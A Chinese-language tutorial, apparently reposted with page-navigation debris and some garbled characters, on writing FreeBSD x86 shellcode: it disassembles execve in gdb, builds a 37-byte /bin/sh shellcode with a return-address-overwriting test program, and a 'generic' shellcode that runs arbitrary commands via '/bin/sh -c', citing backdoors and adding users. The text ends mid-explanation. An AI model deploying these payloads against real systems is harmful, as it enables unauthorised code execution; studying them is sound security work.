当前位置:Linux教程 - Linux综合 - FreeBSD shellcode编写攻略

FreeBSD shellcode编写攻略

<!--StartFragment-->---[[ 前言

  我第一次编写缓冲区溢出程序时,操作系统平台是Red Hat Linux,使用的shellcode是
从互联网上“成吨”的Linux shellcode中随便挑选的,就是Aleph1前辈公布的
“标准shellcode”。:)后来便开始自己写shellcode,但主要都是for
Linux的。最近在研究FreeBSD系统下的缓冲区溢出时,发现那些攻击程序所提供的
shellcode似乎与Linux下的有所不同。(具体哪里不同,下面会讲到的。)好奇之余,
便萌发了独立编写FreeBSD系统下shellcode的念头。同时也想对标准shellcode做一
些改进,算是对自己的一点点挑战吧?#海?
  在编写FreeBSD shellcode的一天半里,无意中发现SCO Unix系统在汇编级的处理
与FreeBSD有很多类似之处。耐不住手痒,花了不到两个小时把shellcode for SCO也完
成了。:)由于编写过程大同小异,关于如何在SCO
Unix下编写shellcode,我便不再另外写文章了。(我很会偷懒?也许吧。;))另外,
文中还介绍到了一些技巧,希望能对大家学习计算机安全技术有所裨益。

    我想以后我大概是不会再写诸如”如何编写xxx系统下的shellcode“之类的文章了。
;)因为只要明白了整个编写过程的原理和步骤,已经没什么很新鲜的了。


---[[ 准备工作

  1、FreeBSD操作系统知识

  2、熟悉C编程语言、汇编语言、gdb调试器(这个是hacker的最低标准!)

  3、有Linux等系统平台下shellcode的经验

  4、较强的分析能力和想像力

  5、牛奶、面包、饼干和音乐(呵呵,这是我的“工作套餐”。;))

  (注:我的工作环境--

     FreeBSD 4.0 (recompiled kernel)
     gcc version 2.95.2 19991024 (release)
     GNU gdb 4.18


---[[ 开始


  首先,当然是了解并掌握FreeBSD是如何运行shell程序(如/bin/sh)的。

    和编写Linux系统下的shellcode一样,创建以下程序:

/* execve.c */
#include
int main()
{
        char *name[2];

        name[0]="/bin/sh";
        name[1]=NULL;
        execve(name[0],name,NULL);
        return 0;
}

编译,试运行:

bash-2.03$ gcc -ggdb -static -o execv execve.c
bash-2.03$ ./execv
$ exit
bash-2.03$

现在用gdb调试器跟踪程序的执行代码:

bash-2.03$ gdb execv
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
(gdb) disass main
Dump of assembler code for function main:
0x8048160 :       pushl  %ebp
0x8048161 :     movl   %esp,%ebp
0x8048163 :     subl   $0x18,%esp
                                // 以上是函数调用时的堆栈操作
                               

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] 下一页 

0x8048166 :     movl   $0x8048361,0xfffffff8(%ebp)
                                // 保存name字符串数组的地址
                               
0x804816d :    movl   $0x0,0xfffffffc(%ebp)
                                // 保存NULL空字符串
                               
0x8048174 :    addl   $0xfffffffc,%esp
                               
0x8048177 :    pushl  $0x0
                                // 将0x0压栈
                               
0x8048179 :    leal   0xfffffff8(%ebp),%eax
0x804817c :    pushl  %eax
                                // 将name字符串数组地址的地址压栈
                               
0x804817d :    movl   0xfffffff8(%ebp),%eax
0x8048180 :    pushl  %eax
                                // 将name[0]字符串地址压栈
                               
0x8048181 :    call   0x80481f8
                                // 调用execve函数
                               

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] 下一页 

0x8048186 :    addl   $0x10,%esp
0x8048189 :    xorl   %eax,%eax
0x804818b :    jmp    0x8048190
0x804818d :    leal   0x0(%esi),%esi
0x8048190 :    leave 
0x8048191 :    ret   
End of assembler dump.
(gdb) disass execve
Dump of assembler code for function execve:
0x80481f8 :     leal   0x3b,%eax
                                // 系统中断调用子功能号0x3b(execve)
                               
0x80481fe :   int    $0x80
                                // FreeBSD系统中断调用

0x8048200 :   jb     0x80481f0
0x8048202 :  ret   
0x8048203 :  nop   
End of assembler dump.
(gdb)

  如果你有Linux系统下shellcode的编写经验,看这段汇编代码就不会觉得有什
么困难,所以不再对每条汇编指令进行说明。;)(又偷懒了,xixi)

    将以上汇编指令最主要的部份用简单的描述性汇编语言表示就是:
   
main:
    push 0x0
    push address_of_address_of_/bin/sh
    push address_of_/bin/sh
    call execve
   
execve:
    leal 0x3b, %eax
    int  $0x80

似乎和Linux差不多?当然,一些调整还是必不可少的:

(1)将"/bin/sh"字符串放到内存中;

(2)获取"/bin/sh"在内存中的绝对地址;

(3)去掉汇编语言中的"0x00"字符。

还是和Linux下的编写过程一样,经以上调整后得到的汇编代码,并将其嵌入C语言程序中:

bash-2.03$ cat execasm.c
int main()
{
__asm__
("
        jmp     callback
encode:
        popl    %esi
        movl    %esi,0x08(%esi)
        xorl    %eax,%eax
        movb    %al,0x07(%esi)
        movl    %eax,0x0c(%esi)
        pushl   %eax
        leal    0x08(%esi),%edx
        pushl   %edx
        pushl   %esi
        pushl   %esi            // <--为什么???(1)

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] 下一页 

        movb    0x3b,%al
        int     $0x80
callback:
        call    encode
        .string \"/bin/sh\"
");
}

bash-2.03$ gcc -o execasm execasm.c
bash-2.03$

    在继续下一步前,请大家回答两个问题:

    (1)在汇编代码段中为什么会有两个"pushl %esi"(绝对不是笔误)?

    (2)这个程序能否成功运行?(提示:逻辑和语法都没有任何错误,编译也顺利通过了。)
   
   
对于第一个问题,只要对汇编语言和函数调用有一定了解,同时再加上一点点的细心,
就会知道答案了。正常情况下,当执行call进行函数调用时,系统会自动将返回地址
压入堆栈中。由于在我们的程序中并未执行call指令(当然加上也可以),所以必须
再向堆栈中压入4个字节的数据,?庋拍苁苟颜恢刚胛恢谜贰#唬┲劣谘谷胧裁词
荩涫刀晕颐抢此得挥刑笠庖澹蛭飧龅饔貌换嵩俜祷亓恕#唬?

对于第二个问题,先让我们来试一下,看能否运行成功:
   
bash-2.03$ ./execasm
Bus error (core dumped)
bash-2.03$

为什么呢?如果使用gdb调试器调试因core dump而产生的execasm.core文件,就会发现
错误出现在指令"movl %esi,0x08(%esi)"处。原来esi寄存器指向的地址在代码段,而代
码段的内容是不允许这样修改的!既然如此,我们把这段代码换个位置,如何?:)

    先要得到这段代码的机器码,方法可以用gdb或objdump,略加调整(这个交给你们自
己了;)),最终得到第一个shellcode的字符串为:
   
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
    "\x50\x8d\x56\x08\x52\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff"
    "\xff\xff/bin/sh"
   
    下面来验证一下这段shellcode。编写以下程序:
   
bash-2.03$ cat shellcode1.c
char shellcode[]=
        "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
        "\x50\x8d\x56\x08\x52\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff"
        "\xff\xff/bin/sh";

int main()
{
        int *ret;

        printf("Shellcode length: %i\n", strlen(shellcode));
        ret=(int *)&ret+2;
        (* ret)=(int)shellcode;
}

bash-2.03$

    编译,运行:=版权所有  软件 下载  学院  版权所有=
   
bash-2.03$ gcc -o shell1 shellcode1.c
bash-2.03$ ./shell1
Shellcode length: 37
$

    Bingo!搞定!:)是不是很简单?本来就很简单。

    在进入下一项内容前,给大家出几道练习题。(如果真的想掌握这项技术的话,请完成它们。)

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] 下一页 

   
    (1)将execasm.c中汇编程序段的机器码找出来,并做调整(因为其中仍含有'0x00'字符)。

    (2)对这段shellcode进行优化,看能不能使其更短?(如果可以的话,请贴到绿色
兵团网站之“Unix系统安全”论坛。)

    (3)FreeBSD的系统调用方式有两种,试着找出另一种方法。编写出相应的shellcode,
并和本文的shellcode作比较。

    (4)参考绿盟网络安全技术月刊第四期《高级缓冲溢出的使用》一文,将其中的shellcode
技巧移植到FreeBSD平台下。(请抄送一份给我。:))


---[[ 进阶

  有shellcode编写基础和经验的人,应该觉得上面这段内容是属于“绝对的入门级”。如果
仅仅写出这种东西,看来我以后也不要再研究计算机网络安全技术了!现在让我们来探讨一下
如何加强shellcode的功能。

(注:本节内容虽然以FreeBSD为研究平台,但同样适合其它系统平台。)

  本来计划在这节讲一下如何将《高级缓冲溢出的使用》中的shellcode移植到FreeBSD平台
下,但考虑到技术原理和资料都大同小异,难度不大。恐有灌水之嫌,最后决定把这个作为练
习题了。;)
  
  在标准的shellcode中,我们执行的命令是"/bin/sh",也就是希望得到一个shell环境。
在某些情况下,如无法得到shell环境(无法将输入/输出重定向,缺少环境变量等),或仅需
要执行一两个命令(添加用户或后门等),这个标准shellcode就无法满足我们的要求了。

  也许有人会说,那可以直接修改shellcode嘛。直接修改确实是一个解决方法,但每次修
改都要修改和调试其中的偏移量,比较麻烦,为什么不能让我们的shellcode自己完成这项任
务呢?这样的话,我们就相当于拥有一个“通用的”shellcode了!;)

  基本的技术原理是将需要运行的命令附加到shellcode后,由shellcode自已将这个命令传
递给系统运行。(听起来好象也不太难。;))从C语言编程的角度来思考,就是利用
execve()函数调用。

  首先,我们应该知道系统调用函数execve()的语法格式为:

int execve(const char *path, char *const argv[], char *const envp[])

即:

execve(address_of_the_command,array_of_parameters,array_of_environment_variables)

  当执行这个函数时,对参数进行的堆栈和调用操作为:

push array_of_environment_variables

push array_of_parameters

push address_of_the_command

call execve

这个堆栈操作比上一节复杂不少。那么应该传递什么参数呢?我们都知道,要向sh传递命令时
可以使用"-c"参数。这们要利用的就是这一点。即构造下面这条命令:

  /bin/sh    -c     "command"
    +--+--+    ++      +--+--+
       |        |         |
       +        +         +
    argv[0]   argv[1]   argv[2]
   
    此时,字符串数组为:
   
    argv[0] --> "/bin/sh"字符串的地址
    argv[1] --> "-c"字符串的地址
    argv[2] --> "command"字符串的地址
    0       --> NULL字符串地址
   
    每个地址占用4字节,一共占用16个字节。对应的堆栈和调用操作为:
   
    push 0x0
    push address_of_argv[]

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] 下一页 

    push address_of_argv[0]("/bin/sh")
    call execve
   
    现在的编程思路已经非常清晰了。按照上一节的调试步骤,我们很快就能够得到以下“通用”shellcode:
   
        "\xeb\x36"                      //      jmp                   (a)
// :                                                                    (b)
        "\x5e"                          //      popl   %esi                     (c)
        "\x8d\x0e"                      //      leal   (%esi), %ecx             (d)
        "\x31\xd2"                      //      xorl   %edx, %edx               (e)
        "\x88\x56\x17"                  //      movb   %dl,  0x17(%esi)         (f)
        "\x88\x56\x1a"                  //      movb   %dl,  0x1a(%esi)         (g)
        "\x89\x56\x0c"                  //      movl   %edx, 0x0c(%esi)         (h)
        "\x89\x56\xf5"                  //      movl   %edx, -0x0b(%esi)        (i)

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] 下一页 

        "\x88\x56\xfa"                  //      movb   %dl,  -0x06(%esi)        (j)
        "\x8d\x56\x1b"                  //      leal   0x1b(%esi), %edx         (k)
        "\x89\x56\x08"                  //      movl   %edx, 0x08(%esi)         (l)
        "\x8d\x56\x18"                  //      leal   0x18(%esi), %edx         (m)
        "\x89\x56\x04"                  //      movl   %edx, 0x04(%esi)         (n)
        "\x8d\x5e\x10"                  //      leal   0x10(%esi), %ebx         (o)
        "\x89\x1e"                      //      movl   %ebx, (%esi)             (p)
        "\x89\xca"                      //      movl   %ecx, %edx               (q)
        "\x31\xc0"                      //      xorl   %eax, %eax               (r)
        "\xb0\x3b"                      //      movb   0x3b, %al                (s)

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] 下一页 

        "\x52"                          //      pushl  %edx                     (t)
        "\x51"                          //      pushl  %ecx                     (u)
        "\x53"                          //      pushl  %ebx                     (v)
        "\x50"                          //      pushl  %eax                     (w)
        "\x9a\x01\x01\x01\x01\x07\x01"  //      lcall  0x07, 0x0                (x)
// :                                                                  (y)
        "\xe8\xc5\xff\xff\xff"          //      call                    (z)
        "aaaa"                          //      argv[0] (address of "/bin/sh")  (1)
        "bbbb"                          //      argv[1] (address of "-c")       (2)
        "cccc"                          //      argv[2] (address of "command")  (3)

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] 下一页 

        "dddd"                          //      argv[3] (NULL)                  (4)
        "/bin/sh0"                                                              (5)
        "-c0"                                                                   (6)
        "";                                                                     (7)
       
  在继续往下看之前,希望大家能仔细阅读以上代码段,尽量读懂它。

  下面是一些简要说明:

(1)--(4):用于存放各字符串的地址指针。

(5):    存放"/bin/sh"字符串。'0'是临时编码,将会在运行时被替换为"0x0"字符。

(6):    "-c"参数字符串。'0'的意义同上。

(7):    将会被用于存放"command"命令字符串。

(a)(y)(z)(b)(c):       获取”数据段“起始地址。

(d):                   argv[]字符串数组地址-->ecx寄存器。

(e)--(j):              解码"0x00"。

(k)(l):                获得并存放"command"的地址-->"cccc"。

(m)(n):                获得并存放"-c"的地址-->"bbbb"。

(o)(p):                获得并存放"/bin/sh"的地址-->"aaaa"和ebx寄存器。

(q):                   构造正确的edx寄存器内容。

(r)(s):                构造正确的eax寄存器内容。

(t)-(w):               系统调用参数压栈。

上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] 下一页